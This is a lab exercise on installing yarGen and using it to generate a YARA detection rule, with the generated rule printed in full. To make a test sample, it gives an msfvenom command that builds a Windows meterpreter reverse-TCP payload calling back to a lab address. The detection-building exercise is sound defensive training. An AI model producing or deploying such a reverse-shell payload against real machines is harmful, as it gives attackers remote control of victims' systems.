yarGen

1. Introduction

yarGen is a generator for YARA rules The main principle is the creation of yara rules from strings found in malware files while removing all strings that also appear in goodware files. Therefore yarGen includes a big goodware strings and opcode database as ZIP archives that have to be extracted before the first use.

Goal of this exercise is to install and use yargen to create automated yara rules

2. Installation

Please download yarGen.py using the commands below.

cd /home/hacker git clone https://github.com/Neo23x0/yarGen.git cd /home/hacker/yarGen chmod +x ./yarGen.py

Install dependencies

cd /home/hacker/yarGen pip install -r requirements.txt

3. Update yargen database

cd /home/hacker/yarGen ./yarGen.py --update

4. Create maliscious binary

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.71.164 LPORT=443 -f exe -o malisciousfile.exe

mkdir -p /tmp/malware cp malisciousfile.exe /tmp/malware ./yarGen.py -m /tmp/malware

This will generate a yargen_rules.yar file in the current directory.

Let's test it:

yara -w -r ./yargen_rules.yar /tmp/malware

/*
   YARA Rule Set
   Author: yarGen Rule Generator
   Date: 2022-04-25
   Identifier: malware
   Reference: https://github.com/Neo23x0/yarGen
*/

/* Rule Set ----------------------------------------------------------------- */

rule malisciousfile {
   meta:
      description = "malware - file malisciousfile.exe"
      author = "yarGen Rule Generator"
      reference = "https://github.com/Neo23x0/yarGen"
      date = "2022-04-25"
      hash1 = "51441af91003497318d9a396eeee7863d228ffc683335e05d669cf998cfae507"
   strings:
      $s1 = "C:\\local0\\asf\\release\\build-2.2.14\\support\\Release\\ab.pdb" fullword ascii
      $s2 = " Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/<br>" fullword ascii
      $s3 = "    -T content-type Content-type header for POSTing, eg." fullword ascii
      $s4 = "    -h              Display usage information (this message)" fullword ascii
      $s5 = "    -i              Use HEAD instead of GET" fullword ascii
      $s6 = "    -p postfile     File containing data to POST. Remember also to set -T" fullword ascii
      $s7 = " This is ApacheBench, Version %s <i>&lt;%s&gt;</i><br>" fullword ascii
      $s8 = "    -r              Don't exit on socket receive errors." fullword ascii
      $s9 = " Licensed to The Apache Software Foundation, http://www.apache.org/<br>" fullword ascii
      $s10 = "    -k              Use HTTP KeepAlive feature" fullword ascii
      $s11 = "    -X proxy:port   Proxyserver and port number to use" fullword ascii
      $s12 = "  %d%%  %5I64d" fullword ascii
      $s13 = "    -H attribute    Add Arbitrary header line, eg. 'Accept-Encoding: gzip'" fullword ascii
      $s14 = "    -v verbosity    How much troubleshooting info to print" fullword ascii
      $s15 = "    -z attributes   String to insert as td or th attributes" fullword ascii
      $s16 = "    -b windowsize   Size of TCP send/receive buffer, in bytes" fullword ascii
      $s17 = "    -e filename     Output CSV file with percentages served" fullword ascii
      $s18 = "                    are a colon separated username and password." fullword ascii
      $s19 = "    -x attributes   String to insert as table attributes" fullword ascii
      $s20 = "    -y attributes   String to insert as tr attributes" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 200KB and
      8 of them
}